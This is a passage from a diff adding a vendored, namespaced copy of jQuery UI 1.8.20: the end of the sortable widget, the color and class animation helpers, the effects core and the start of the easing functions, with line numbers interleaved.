+ if(event.pageY - this.offset.click.top < this.containment[1]) pageY = this.containment[1] + this.offset.click.top;
3798
+ if(event.pageX - this.offset.click.left > this.containment[2]) pageX = this.containment[2] + this.offset.click.left;
3799
+ if(event.pageY - this.offset.click.top > this.containment[3]) pageY = this.containment[3] + this.offset.click.top;
3800
+ }
3801
+
3802
+ if(o.grid) {
3803
+ var top = this.originalPageY + Math.round((pageY - this.originalPageY) / o.grid[1]) * o.grid[1];
3804
+ pageY = this.containment ? (!(top - this.offset.click.top < this.containment[1] || top - this.offset.click.top > this.containment[3]) ? top : (!(top - this.offset.click.top < this.containment[1]) ? top - o.grid[1] : top + o.grid[1])) : top;
3805
+
3806
+ var left = this.originalPageX + Math.round((pageX - this.originalPageX) / o.grid[0]) * o.grid[0];
3807
+ pageX = this.containment ? (!(left - this.offset.click.left < this.containment[0] || left - this.offset.click.left > this.containment[2]) ? left : (!(left - this.offset.click.left < this.containment[0]) ? left - o.grid[0] : left + o.grid[0])) : left;
3808
+ }
3809
+
3810
+ }
3811
+
3812
+ return {
3813
+ top: (
3814
+ pageY // The absolute mouse position
3815
+ - this.offset.click.top // Click offset (relative to the element)
3816
+ - this.offset.relative.top // Only for relative positioned nodes: Relative offset from element to offset parent
3817
+ - this.offset.parent.top // The offsetParent's offset without borders (offset + border)
3818
+ + ($.browser.safari && this.cssPosition == 'fixed' ? 0 : ( this.cssPosition == 'fixed' ? -this.scrollParent.scrollTop() : ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ))
3819
+ ),
3820
+ left: (
3821
+ pageX // The absolute mouse position
3822
+ - this.offset.click.left // Click offset (relative to the element)
3823
+ - this.offset.relative.left // Only for relative positioned nodes: Relative offset from element to offset parent
3824
+ - this.offset.parent.left // The offsetParent's offset without borders (offset + border)
3825
+ + ($.browser.safari && this.cssPosition == 'fixed' ? 0 : ( this.cssPosition == 'fixed' ? -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : scroll.scrollLeft() ))
3826
+ )
3827
+ };
3828
+
3829
+ },
3830
+
3831
+ _rearrange: function(event, i, a, hardRefresh) {
3832
+
3833
+ a ? a[0].appendChild(this.placeholder[0]) : i.item[0].parentNode.insertBefore(this.placeholder[0], (this.direction == 'down' ? i.item[0] : i.item[0].nextSibling));
3834
+
3835
+ //Various things done here to improve the performance:
3836
+ // 1. we create a setTimeout, that calls refreshPositions
3837
+ // 2. on the instance, we have a counter variable, that get's higher after every append
3838
+ // 3. on the local scope, we copy the counter variable, and check in the timeout, if it's still the same
3839
+ // 4. this lets only the last addition to the timeout stack through
3840
+ this.counter = this.counter ? ++this.counter : 1;
3841
+ var self = this, counter = this.counter;
3842
+
3843
+ window.setTimeout(function() {
3844
+ if(counter == self.counter) self.refreshPositions(!hardRefresh); //Precompute after each DOM insertion, NOT on mousemove
3845
+ },0);
3846
+
3847
+ },
3848
+
3849
+ _clear: function(event, noPropagation) {
3850
+
3851
+ this.reverting = false;
3852
+ // We delay all events that have to be triggered to after the point where the placeholder has been removed and
3853
+ // everything else normalized again
3854
+ var delayedTriggers = [], self = this;
3855
+
3856
+ // We first have to update the dom position of the actual currentItem
3857
+ // Note: don't do it if the current item is already removed (by a user), or it gets reappended (see #4088)
3858
+ if(!this._noFinalSort && this.currentItem.parent().length) this.placeholder.before(this.currentItem);
3859
+ this._noFinalSort = null;
3860
+
3861
+ if(this.helper[0] == this.currentItem[0]) {
3862
+ for(var i in this._storedCSS) {
3863
+ if(this._storedCSS[i] == 'auto' || this._storedCSS[i] == 'static') this._storedCSS[i] = '';
3864
+ }
3865
+ this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper");
3866
+ } else {
3867
+ this.currentItem.show();
3868
+ }
3869
+
3870
+ if(this.fromOutside && !noPropagation) delayedTriggers.push(function(event) { this._trigger("receive", event, this._uiHash(this.fromOutside)); });
3871
+ if((this.fromOutside || this.domPosition.prev != this.currentItem.prev().not(".ui-sortable-helper")[0] || this.domPosition.parent != this.currentItem.parent()[0]) && !noPropagation) delayedTriggers.push(function(event) { this._trigger("update", event, this._uiHash()); }); //Trigger update callback if the DOM position has changed
3872
+ if(!$.ui.contains(this.element[0], this.currentItem[0])) { //Node was moved out of the current element
3873
+ if(!noPropagation) delayedTriggers.push(function(event) { this._trigger("remove", event, this._uiHash()); });
3874
+ for (var i = this.containers.length - 1; i >= 0; i--){
3875
+ if($.ui.contains(this.containers[i].element[0], this.currentItem[0]) && !noPropagation) {
3876
+ delayedTriggers.push((function(c) { return function(event) { c._trigger("receive", event, this._uiHash(this)); }; }).call(this, this.containers[i]));
3877
+ delayedTriggers.push((function(c) { return function(event) { c._trigger("update", event, this._uiHash(this)); }; }).call(this, this.containers[i]));
3878
+ }
3879
+ };
3880
+ };
3881
+
3882
+ //Post events to containers
3883
+ for (var i = this.containers.length - 1; i >= 0; i--){
3884
+ if(!noPropagation) delayedTriggers.push((function(c) { return function(event) { c._trigger("deactivate", event, this._uiHash(this)); }; }).call(this, this.containers[i]));
3885
+ if(this.containers[i].containerCache.over) {
3886
+ delayedTriggers.push((function(c) { return function(event) { c._trigger("out", event, this._uiHash(this)); }; }).call(this, this.containers[i]));
3887
+ this.containers[i].containerCache.over = 0;
3888
+ }
3889
+ }
3890
+
3891
+ //Do what was originally in plugins
3892
+ if(this._storedCursor) $('body').css("cursor", this._storedCursor); //Reset cursor
3893
+ if(this._storedOpacity) this.helper.css("opacity", this._storedOpacity); //Reset opacity
3894
+ if(this._storedZIndex) this.helper.css("zIndex", this._storedZIndex == 'auto' ? '' : this._storedZIndex); //Reset z-index
3895
+
3896
+ this.dragging = false;
3897
+ if(this.cancelHelperRemoval) {
3898
+ if(!noPropagation) {
3899
+ this._trigger("beforeStop", event, this._uiHash());
3900
+ for (var i=0; i < delayedTriggers.length; i++) { delayedTriggers[i].call(this, event); }; //Trigger all delayed events
3901
+ this._trigger("stop", event, this._uiHash());
3902
+ }
3903
+ return false;
3904
+ }
3905
+
3906
+ if(!noPropagation) this._trigger("beforeStop", event, this._uiHash());
3907
+
3908
+ //$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately, it unbinds ALL events from the original node!
3909
+ this.placeholder[0].parentNode.removeChild(this.placeholder[0]);
3910
+
3911
+ if(this.helper[0] != this.currentItem[0]) this.helper.remove(); this.helper = null;
3912
+
3913
+ if(!noPropagation) {
3914
+ for (var i=0; i < delayedTriggers.length; i++) { delayedTriggers[i].call(this, event); }; //Trigger all delayed events
3915
+ this._trigger("stop", event, this._uiHash());
3916
+ }
3917
+
3918
+ this.fromOutside = false;
3919
+ return true;
3920
+
3921
+ },
3922
+
3923
+ _trigger: function() {
3924
+ if ($.Widget.prototype._trigger.apply(this, arguments) === false) {
3925
+ this.cancel();
3926
+ }
3927
+ },
3928
+
3929
+ _uiHash: function(inst) {
3930
+ var self = inst || this;
3931
+ return {
3932
+ helper: self.helper,
3933
+ placeholder: self.placeholder || $([]),
3934
+ position: self.position,
3935
+ originalPosition: self.originalPosition,
3936
+ offset: self.positionAbs,
3937
+ item: self.currentItem,
3938
+ sender: inst ? inst.element : null
3939
+ };
3940
+ }
3941
+
3942
+ });
3943
+
3944
+ $.extend($.ui.sortable, {
3945
+ version: "1.8.20"
3946
+ });
3947
+
3948
+ })(asljQuery);
3949
+
3950
+ ;asljQuery.effects || (function($, undefined) {
3951
+
3952
+ $.effects = {};
3953
+
3954
+
3955
+
3956
+ /******************************************************************************/
3957
+ /****************************** COLOR ANIMATIONS ******************************/
3958
+ /******************************************************************************/
3959
+
3960
+ // override the animation for color styles
3961
+ $.each(['backgroundColor', 'borderBottomColor', 'borderLeftColor',
3962
+ 'borderRightColor', 'borderTopColor', 'borderColor', 'color', 'outlineColor'],
3963
+ function(i, attr) {
3964
+ $.fx.step[attr] = function(fx) {
3965
+ if (!fx.colorInit) {
3966
+ fx.start = getColor(fx.elem, attr);
3967
+ fx.end = getRGB(fx.end);
3968
+ fx.colorInit = true;
3969
+ }
3970
+
3971
+ fx.elem.style[attr] = 'rgb(' +
3972
+ Math.max(Math.min(parseInt((fx.pos * (fx.end[0] - fx.start[0])) + fx.start[0], 10), 255), 0) + ',' +
3973
+ Math.max(Math.min(parseInt((fx.pos * (fx.end[1] - fx.start[1])) + fx.start[1], 10), 255), 0) + ',' +
3974
+ Math.max(Math.min(parseInt((fx.pos * (fx.end[2] - fx.start[2])) + fx.start[2], 10), 255), 0) + ')';
3975
+ };
3976
+ });
3977
+
3978
+ // Color Conversion functions from highlightFade
3979
+ // By Blair Mitchelmore
3980
+ // http://jquery.offput.ca/highlightFade/
3981
+
3982
+ // Parse strings looking for color tuples [255,255,255]
3983
+ function getRGB(color) {
3984
+ var result;
3985
+
3986
+ // Check if we're already dealing with an array of colors
3987
+ if ( color && color.constructor == Array && color.length == 3 )
3988
+ return color;
3989
+
3990
+ // Look for rgb(num,num,num)
3991
+ if (result = /rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(color))
3992
+ return [parseInt(result[1],10), parseInt(result[2],10), parseInt(result[3],10)];
3993
+
3994
+ // Look for rgb(num%,num%,num%)
3995
+ if (result = /rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(color))
3996
+ return [parseFloat(result[1])*2.55, parseFloat(result[2])*2.55, parseFloat(result[3])*2.55];
3997
+
3998
+ // Look for #a0b1c2
3999
+ if (result = /#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(color))
4000
+ return [parseInt(result[1],16), parseInt(result[2],16), parseInt(result[3],16)];
4001
+
4002
+ // Look for #fff
4003
+ if (result = /#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(color))
4004
+ return [parseInt(result[1]+result[1],16), parseInt(result[2]+result[2],16), parseInt(result[3]+result[3],16)];
4005
+
4006
+ // Look for rgba(0, 0, 0, 0) == transparent in Safari 3
4007
+ if (result = /rgba\(0, 0, 0, 0\)/.exec(color))
4008
+ return colors['transparent'];
4009
+
4010
+ // Otherwise, we're most likely dealing with a named color
4011
+ return colors[$.trim(color).toLowerCase()];
4012
+ }
4013
+
4014
+ function getColor(elem, attr) {
4015
+ var color;
4016
+
4017
+ do {
4018
+ color = $.curCSS(elem, attr);
4019
+
4020
+ // Keep going until we find an element that has color, or we hit the body
4021
+ if ( color != '' && color != 'transparent' || $.nodeName(elem, "body") )
4022
+ break;
4023
+
4024
+ attr = "backgroundColor";
4025
+ } while ( elem = elem.parentNode );
4026
+
4027
+ return getRGB(color);
4028
+ };
4029
+
4030
+ // Some named colors to work with
4031
+ // From Interface by Stefan Petre
4032
+ // http://interface.eyecon.ro/
4033
+
4034
+ var colors = {
4035
+ aqua:[0,255,255],
4036
+ azure:[240,255,255],
4037
+ beige:[245,245,220],
4038
+ black:[0,0,0],
4039
+ blue:[0,0,255],
4040
+ brown:[165,42,42],
4041
+ cyan:[0,255,255],
4042
+ darkblue:[0,0,139],
4043
+ darkcyan:[0,139,139],
4044
+ darkgrey:[169,169,169],
4045
+ darkgreen:[0,100,0],
4046
+ darkkhaki:[189,183,107],
4047
+ darkmagenta:[139,0,139],
4048
+ darkolivegreen:[85,107,47],
4049
+ darkorange:[255,140,0],
4050
+ darkorchid:[153,50,204],
4051
+ darkred:[139,0,0],
4052
+ darksalmon:[233,150,122],
4053
+ darkviolet:[148,0,211],
4054
+ fuchsia:[255,0,255],
4055
+ gold:[255,215,0],
4056
+ green:[0,128,0],
4057
+ indigo:[75,0,130],
4058
+ khaki:[240,230,140],
4059
+ lightblue:[173,216,230],
4060
+ lightcyan:[224,255,255],
4061
+ lightgreen:[144,238,144],
4062
+ lightgrey:[211,211,211],
4063
+ lightpink:[255,182,193],
4064
+ lightyellow:[255,255,224],
4065
+ lime:[0,255,0],
4066
+ magenta:[255,0,255],
4067
+ maroon:[128,0,0],
4068
+ navy:[0,0,128],
4069
+ olive:[128,128,0],
4070
+ orange:[255,165,0],
4071
+ pink:[255,192,203],
4072
+ purple:[128,0,128],
4073
+ violet:[128,0,128],
4074
+ red:[255,0,0],
4075
+ silver:[192,192,192],
4076
+ white:[255,255,255],
4077
+ yellow:[255,255,0],
4078
+ transparent: [255,255,255]
4079
+ };
4080
+
4081
+
4082
+
4083
+ /******************************************************************************/
4084
+ /****************************** CLASS ANIMATIONS ******************************/
4085
+ /******************************************************************************/
4086
+
4087
+ var classAnimationActions = ['add', 'remove', 'toggle'],
4088
+ shorthandStyles = {
4089
+ border: 1,
4090
+ borderBottom: 1,
4091
+ borderColor: 1,
4092
+ borderLeft: 1,
4093
+ borderRight: 1,
4094
+ borderTop: 1,
4095
+ borderWidth: 1,
4096
+ margin: 1,
4097
+ padding: 1
4098
+ };
4099
+
4100
+ function getElementStyles() {
4101
+ var style = document.defaultView
4102
+ ? document.defaultView.getComputedStyle(this, null)
4103
+ : this.currentStyle,
4104
+ newStyle = {},
4105
+ key,
4106
+ camelCase;
4107
+
4108
+ // webkit enumerates style porperties
4109
+ if (style && style.length && style[0] && style[style[0]]) {
4110
+ var len = style.length;
4111
+ while (len--) {
4112
+ key = style[len];
4113
+ if (typeof style[key] == 'string') {
4114
+ camelCase = key.replace(/\-(\w)/g, function(all, letter){
4115
+ return letter.toUpperCase();
4116
+ });
4117
+ newStyle[camelCase] = style[key];
4118
+ }
4119
+ }
4120
+ } else {
4121
+ for (key in style) {
4122
+ if (typeof style[key] === 'string') {
4123
+ newStyle[key] = style[key];
4124
+ }
4125
+ }
4126
+ }
4127
+
4128
+ return newStyle;
4129
+ }
4130
+
4131
+ function filterStyles(styles) {
4132
+ var name, value;
4133
+ for (name in styles) {
4134
+ value = styles[name];
4135
+ if (
4136
+ // ignore null and undefined values
4137
+ value == null ||
4138
+ // ignore functions (when does this occur?)
4139
+ $.isFunction(value) ||
4140
+ // shorthand styles that need to be expanded
4141
+ name in shorthandStyles ||
4142
+ // ignore scrollbars (break in IE)
4143
+ (/scrollbar/).test(name) ||
4144
+
4145
+ // only colors or values that can be converted to numbers
4146
+ (!(/color/i).test(name) && isNaN(parseFloat(value)))
4147
+ ) {
4148
+ delete styles[name];
4149
+ }
4150
+ }
4151
+
4152
+ return styles;
4153
+ }
4154
+
4155
+ function styleDifference(oldStyle, newStyle) {
4156
+ var diff = { _: 0 }, // http://dev.jquery.com/ticket/5459
4157
+ name;
4158
+
4159
+ for (name in newStyle) {
4160
+ if (oldStyle[name] != newStyle[name]) {
4161
+ diff[name] = newStyle[name];
4162
+ }
4163
+ }
4164
+
4165
+ return diff;
4166
+ }
4167
+
4168
+ $.effects.animateClass = function(value, duration, easing, callback) {
4169
+ if ($.isFunction(easing)) {
4170
+ callback = easing;
4171
+ easing = null;
4172
+ }
4173
+
4174
+ return this.queue(function() {
4175
+ var that = $(this),
4176
+ originalStyleAttr = that.attr('style') || ' ',
4177
+ originalStyle = filterStyles(getElementStyles.call(this)),
4178
+ newStyle,
4179
+ className = that.attr('class') || "";
4180
+
4181
+ $.each(classAnimationActions, function(i, action) {
4182
+ if (value[action]) {
4183
+ that[action + 'Class'](value[action]);
4184
+ }
4185
+ });
4186
+ newStyle = filterStyles(getElementStyles.call(this));
4187
+ that.attr('class', className);
4188
+
4189
+ that.animate(styleDifference(originalStyle, newStyle), {
4190
+ queue: false,
4191
+ duration: duration,
4192
+ easing: easing,
4193
+ complete: function() {
4194
+ $.each(classAnimationActions, function(i, action) {
4195
+ if (value[action]) { that[action + 'Class'](value[action]); }
4196
+ });
4197
+ // work around bug in IE by clearing the cssText before setting it
4198
+ if (typeof that.attr('style') == 'object') {
4199
+ that.attr('style').cssText = '';
4200
+ that.attr('style').cssText = originalStyleAttr;
4201
+ } else {
4202
+ that.attr('style', originalStyleAttr);
4203
+ }
4204
+ if (callback) { callback.apply(this, arguments); }
4205
+ $.dequeue( this );
4206
+ }
4207
+ });
4208
+ });
4209
+ };
4210
+
4211
+ $.fn.extend({
4212
+ _addClass: $.fn.addClass,
4213
+ addClass: function(classNames, speed, easing, callback) {
4214
+ return speed ? $.effects.animateClass.apply(this, [{ add: classNames },speed,easing,callback]) : this._addClass(classNames);
4215
+ },
4216
+
4217
+ _removeClass: $.fn.removeClass,
4218
+ removeClass: function(classNames,speed,easing,callback) {
4219
+ return speed ? $.effects.animateClass.apply(this, [{ remove: classNames },speed,easing,callback]) : this._removeClass(classNames);
4220
+ },
4221
+
4222
+ _toggleClass: $.fn.toggleClass,
4223
+ toggleClass: function(classNames, force, speed, easing, callback) {
4224
+ if ( typeof force == "boolean" || force === undefined ) {
4225
+ if ( !speed ) {
4226
+ // without speed parameter;
4227
+ return this._toggleClass(classNames, force);
4228
+ } else {
4229
+ return $.effects.animateClass.apply(this, [(force?{add:classNames}:{remove:classNames}),speed,easing,callback]);
4230
+ }
4231
+ } else {
4232
+ // without switch parameter;
4233
+ return $.effects.animateClass.apply(this, [{ toggle: classNames },force,speed,easing]);
4234
+ }
4235
+ },
4236
+
4237
+ switchClass: function(remove,add,speed,easing,callback) {
4238
+ return $.effects.animateClass.apply(this, [{ add: add, remove: remove },speed,easing,callback]);
4239
+ }
4240
+ });
4241
+
4242
+
4243
+
4244
+ /******************************************************************************/
4245
+ /*********************************** EFFECTS **********************************/
4246
+ /******************************************************************************/
4247
+
4248
+ $.extend($.effects, {
4249
+ version: "1.8.20",
4250
+
4251
+ // Saves a set of properties in a data storage
4252
+ save: function(element, set) {
4253
+ for(var i=0; i < set.length; i++) {
4254
+ if(set[i] !== null) element.data("ec.storage."+set[i], element[0].style[set[i]]);
4255
+ }
4256
+ },
4257
+
4258
+ // Restores a set of previously saved properties from a data storage
4259
+ restore: function(element, set) {
4260
+ for(var i=0; i < set.length; i++) {
4261
+ if(set[i] !== null) element.css(set[i], element.data("ec.storage."+set[i]));
4262
+ }
4263
+ },
4264
+
4265
+ setMode: function(el, mode) {
4266
+ if (mode == 'toggle') mode = el.is(':hidden') ? 'show' : 'hide'; // Set for toggle
4267
+ return mode;
4268
+ },
4269
+
4270
+ getBaseline: function(origin, original) { // Translates a [top,left] array into a baseline value
4271
+ // this should be a little more flexible in the future to handle a string & hash
4272
+ var y, x;
4273
+ switch (origin[0]) {
4274
+ case 'top': y = 0; break;
4275
+ case 'middle': y = 0.5; break;
4276
+ case 'bottom': y = 1; break;
4277
+ default: y = origin[0] / original.height;
4278
+ };
4279
+ switch (origin[1]) {
4280
+ case 'left': x = 0; break;
4281
+ case 'center': x = 0.5; break;
4282
+ case 'right': x = 1; break;
4283
+ default: x = origin[1] / original.width;
4284
+ };
4285
+ return {x: x, y: y};
4286
+ },
4287
+
4288
+ // Wraps the element around a wrapper that copies position properties
4289
+ createWrapper: function(element) {
4290
+
4291
+ // if the element is already wrapped, return it
4292
+ if (element.parent().is('.ui-effects-wrapper')) {
4293
+ return element.parent();
4294
+ }
4295
+
4296
+ // wrap the element
4297
+ var props = {
4298
+ width: element.outerWidth(true),
4299
+ height: element.outerHeight(true),
4300
+ 'float': element.css('float')
4301
+ },
4302
+ wrapper = $('<div></div>')
4303
+ .addClass('ui-effects-wrapper')
4304
+ .css({
4305
+ fontSize: '100%',
4306
+ background: 'transparent',
4307
+ border: 'none',
4308
+ margin: 0,
4309
+ padding: 0
4310
+ }),
4311
+ active = document.activeElement;
4312
+
4313
+ element.wrap(wrapper);
4314
+
4315
+ // Fixes #7595 - Elements lose focus when wrapped.
4316
+ if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) {
4317
+ $( active ).focus();
4318
+ }
4319
+
4320
+ wrapper = element.parent(); //Hotfix for jQuery 1.4 since some change in wrap() seems to actually loose the reference to the wrapped element
4321
+
4322
+ // transfer positioning properties to the wrapper
4323
+ if (element.css('position') == 'static') {
4324
+ wrapper.css({ position: 'relative' });
4325
+ element.css({ position: 'relative' });
4326
+ } else {
4327
+ $.extend(props, {
4328
+ position: element.css('position'),
4329
+ zIndex: element.css('z-index')
4330
+ });
4331
+ $.each(['top', 'left', 'bottom', 'right'], function(i, pos) {
4332
+ props[pos] = element.css(pos);
4333
+ if (isNaN(parseInt(props[pos], 10))) {
4334
+ props[pos] = 'auto';
4335
+ }
4336
+ });
4337
+ element.css({position: 'relative', top: 0, left: 0, right: 'auto', bottom: 'auto' });
4338
+ }
4339
+
4340
+ return wrapper.css(props).show();
4341
+ },
4342
+
4343
+ removeWrapper: function(element) {
4344
+ var parent,
4345
+ active = document.activeElement;
4346
+
4347
+ if (element.parent().is('.ui-effects-wrapper')) {
4348
+ parent = element.parent().replaceWith(element);
4349
+ // Fixes #7595 - Elements lose focus when wrapped.
4350
+ if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) {
4351
+ $( active ).focus();
4352
+ }
4353
+ return parent;
4354
+ }
4355
+
4356
+ return element;
4357
+ },
4358
+
4359
+ setTransition: function(element, list, factor, value) {
4360
+ value = value || {};
4361
+ $.each(list, function(i, x){
4362
+ var unit = element.cssUnit(x);
4363
+ if (unit[0] > 0) value[x] = unit[0] * factor + unit[1];
4364
+ });
4365
+ return value;
4366
+ }
4367
+ });
4368
+
4369
+
4370
+ function _normalizeArguments(effect, options, speed, callback) {
4371
+ // shift params for method overloading
4372
+ if (typeof effect == 'object') {
4373
+ callback = options;
4374
+ speed = null;
4375
+ options = effect;
4376
+ effect = options.effect;
4377
+ }
4378
+ if ($.isFunction(options)) {
4379
+ callback = options;
4380
+ speed = null;
4381
+ options = {};
4382
+ }
4383
+ if (typeof options == 'number' || $.fx.speeds[options]) {
4384
+ callback = speed;
4385
+ speed = options;
4386
+ options = {};
4387
+ }
4388
+ if ($.isFunction(speed)) {
4389
+ callback = speed;
4390
+ speed = null;
4391
+ }
4392
+
4393
+ options = options || {};
4394
+
4395
+ speed = speed || options.duration;
4396
+ speed = $.fx.off ? 0 : typeof speed == 'number'
4397
+ ? speed : speed in $.fx.speeds ? $.fx.speeds[speed] : $.fx.speeds._default;
4398
+
4399
+ callback = callback || options.complete;
4400
+
4401
+ return [effect, options, speed, callback];
4402
+ }
4403
+
4404
+ function standardSpeed( speed ) {
4405
+ // valid standard speeds
4406
+ if ( !speed || typeof speed === "number" || $.fx.speeds[ speed ] ) {
4407
+ return true;
4408
+ }
4409
+
4410
+ // invalid strings - treat as "normal" speed
4411
+ if ( typeof speed === "string" && !$.effects[ speed ] ) {
4412
+ return true;
4413
+ }
4414
+
4415
+ return false;
4416
+ }
4417
+
4418
+ $.fn.extend({
4419
+ effect: function(effect, options, speed, callback) {
4420
+ var args = _normalizeArguments.apply(this, arguments),
4421
+ // TODO: make effects take actual parameters instead of a hash
4422
+ args2 = {
4423
+ options: args[1],
4424
+ duration: args[2],
4425
+ callback: args[3]
4426
+ },
4427
+ mode = args2.options.mode,
4428
+ effectMethod = $.effects[effect];
4429
+
4430
+ if ( $.fx.off || !effectMethod ) {
4431
+ // delegate to the original method (e.g., .show()) if possible
4432
+ if ( mode ) {
4433
+ return this[ mode ]( args2.duration, args2.callback );
4434
+ } else {
4435
+ return this.each(function() {
4436
+ if ( args2.callback ) {
4437
+ args2.callback.call( this );
4438
+ }
4439
+ });
4440
+ }
4441
+ }
4442
+
4443
+ return effectMethod.call(this, args2);
4444
+ },
4445
+
4446
+ _show: $.fn.show,
4447
+ show: function(speed) {
4448
+ if ( standardSpeed( speed ) ) {
4449
+ return this._show.apply(this, arguments);
4450
+ } else {
4451
+ var args = _normalizeArguments.apply(this, arguments);
4452
+ args[1].mode = 'show';
4453
+ return this.effect.apply(this, args);
4454
+ }
4455
+ },
4456
+
4457
+ _hide: $.fn.hide,
4458
+ hide: function(speed) {
4459
+ if ( standardSpeed( speed ) ) {
4460
+ return this._hide.apply(this, arguments);
4461
+ } else {
4462
+ var args = _normalizeArguments.apply(this, arguments);
4463
+ args[1].mode = 'hide';
4464
+ return this.effect.apply(this, args);
4465
+ }
4466
+ },
4467
+
4468
+ // jQuery core overloads toggle and creates _toggle
4469
+ __toggle: $.fn.toggle,
4470
+ toggle: function(speed) {
4471
+ if ( standardSpeed( speed ) || typeof speed === "boolean" || $.isFunction( speed ) ) {
4472
+ return this.__toggle.apply(this, arguments);
4473
+ } else {
4474
+ var args = _normalizeArguments.apply(this, arguments);
4475
+ args[1].mode = 'toggle';
4476
+ return this.effect.apply(this, args);
4477
+ }
4478
+ },
4479
+
4480
+ // helper functions
4481
+ cssUnit: function(key) {
4482
+ var style = this.css(key), val = [];
4483
+ $.each( ['em','px','%','pt'], function(i, unit){
4484
+ if(style.indexOf(unit) > 0)
4485
+ val = [parseFloat(style), unit];
4486
+ });
4487
+ return val;
4488
+ }
4489
+ });
4490
+
4491
+
4492
+
4493
+ /******************************************************************************/
4494
+ /*********************************** EASING ***********************************/
4495
+ /******************************************************************************/
4496
+
4497
+ /*
4498
+ * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
4499
+ *
4500
+ * Uses the built in easing capabilities added In jQuery 1.1
4501
+ * to offer multiple easing options
4502
+ *
4503
+ * TERMS OF USE - jQuery Easing
4504
+ *
4505
+ * Open source under the BSD License.
4506
+ *
4507
+ * Copyright 2008 George McGinley Smith
4508
+ * All rights reserved.
4509
+ *
4510
+ * Redistribution and use in source and binary forms, with or without modification,
4511
+ * are permitted provided that the following conditions are met:
4512
+ *
4513
+ * Redistributions of source code must retain the above copyright notice, this list of
4514
+ * conditions and the following disclaimer.
4515
+ * Redistributions in binary form must reproduce the above copyright notice, this list
4516
+ * of conditions and the following disclaimer in the documentation and/or other materials
4517
+ * provided with the distribution.
4518
+ *
4519
+ * Neither the name of the author nor the names of contributors may be used to endorse
4520
+ * or promote products derived from this software without specific prior written permission.
4521
+ *
4522
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
4523
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
4524
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
4525
+ * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
4526
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
4527
+ * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
4528
+ * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
4529
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
4530
+ * OF THE POSSIBILITY OF SUCH DAMAGE.
4531
+ *
4532
+ */
4533
+
4534
+ // t: current time, b: begInnIng value, c: change In value, d: duration
4535
+ $.easing.jswing = $.easing.swing;
4536
+
4537
+ $.extend($.easing,
4538
+ {
4539
+ def: 'easeOutQuad',
4540
+ swing: function (x, t, b, c, d) {
4541
+ //alert($.easing.default);
4542
+ return $.easing[$.easing.def](x, t, b, c, d);
4543
+ },
4544
+ easeInQuad: function (x, t, b, c, d) {
4545
+ return c*(t/=d)*t + b;
4546
+ },
4547
+ easeOutQuad: function (x, t, b, c, d) {
4548
+ return -c *(t/=d)*(t-2) + b;
4549
+ },
4550
+ easeInOutQuad: function (x, t, b, c, d) {
4551
+ if ((t/=d/2) < 1) return c/2*t*t + b;
4552
+ return -c/2 * ((--t)*(t-2) - 1) + b;
4553
+ },
4554
+ easeInCubic: function (x, t, b, c, d) {
4555
+ return c*(t/=d)*t*t + b;
4556
+ },
4557
+ easeOutCubic: function (x, t, b, c, d) {
4558
+ return c*((t=t/d-1)*t*t + 1) + b;
4559
+ },
4560
+ easeInOutCubic: function (x, t, b, c, d) {
4561
+ if ((t/=d/2) < 1) return c/2*t*t*t + b;
4562
+ return c/2*((t-=2)*t*t + 2) + b;
4563
+ },
4564
+ easeInQuart: function (x, t, b, c, d) {
4565
+ return c*(t/=d)*t*t*t + b;
4566
+ },
4567
+ easeOutQuart: function (x, t, b, c, d) {
4568
+ return -c * ((t=t/d-1)*t*t*t - 1) + b;
4569
+ },
4570
+ easeInOutQuart: function (x, t, b, c, d) {
4571
+ if ((t/=d/2) < 1) return c/2*t*t*t*t + b;
4572
+ return -c/2 * ((t-=2)*t*t*t - 2) + b;
4573
+ },
4574
+ easeInQuint: function (x, t, b, c, d) {
4575
+ return c*(t/=d)*t*t*t*t + b;
4576
+ },
4577
+ easeOutQuint: function (x, t, b, c, d) {
4578
+ return c*((t=t/d-1)*t*t*t*t + 1) + b;
4579
+ },
4580
+ easeInOutQuint: function (x, t, b, c, d) {
4581
+ if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;
4582
+ return c/2*((t-=2)*t*t*t*t + 2) + b;
4583
+ },
4584
+ easeInSine: function (x, t, b, c, d) {
4585
+ return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
4586
+ },
4587
+ easeOutSine: function (x, t, b, c, d) {
4588
+ return c * Math.sin(t/d * (Math.PI/2)) + b;
4589
+ },
4590
+ easeInOutSine: function (x, t, b, c, d) {
4591
+ return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
4592
+ },
4593
+ easeInExpo: function (x, t, b, c, d) {
4594
+ return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
4595
+ },
4596
+ easeOutExpo: function (x, t, b, c, d) {
4597
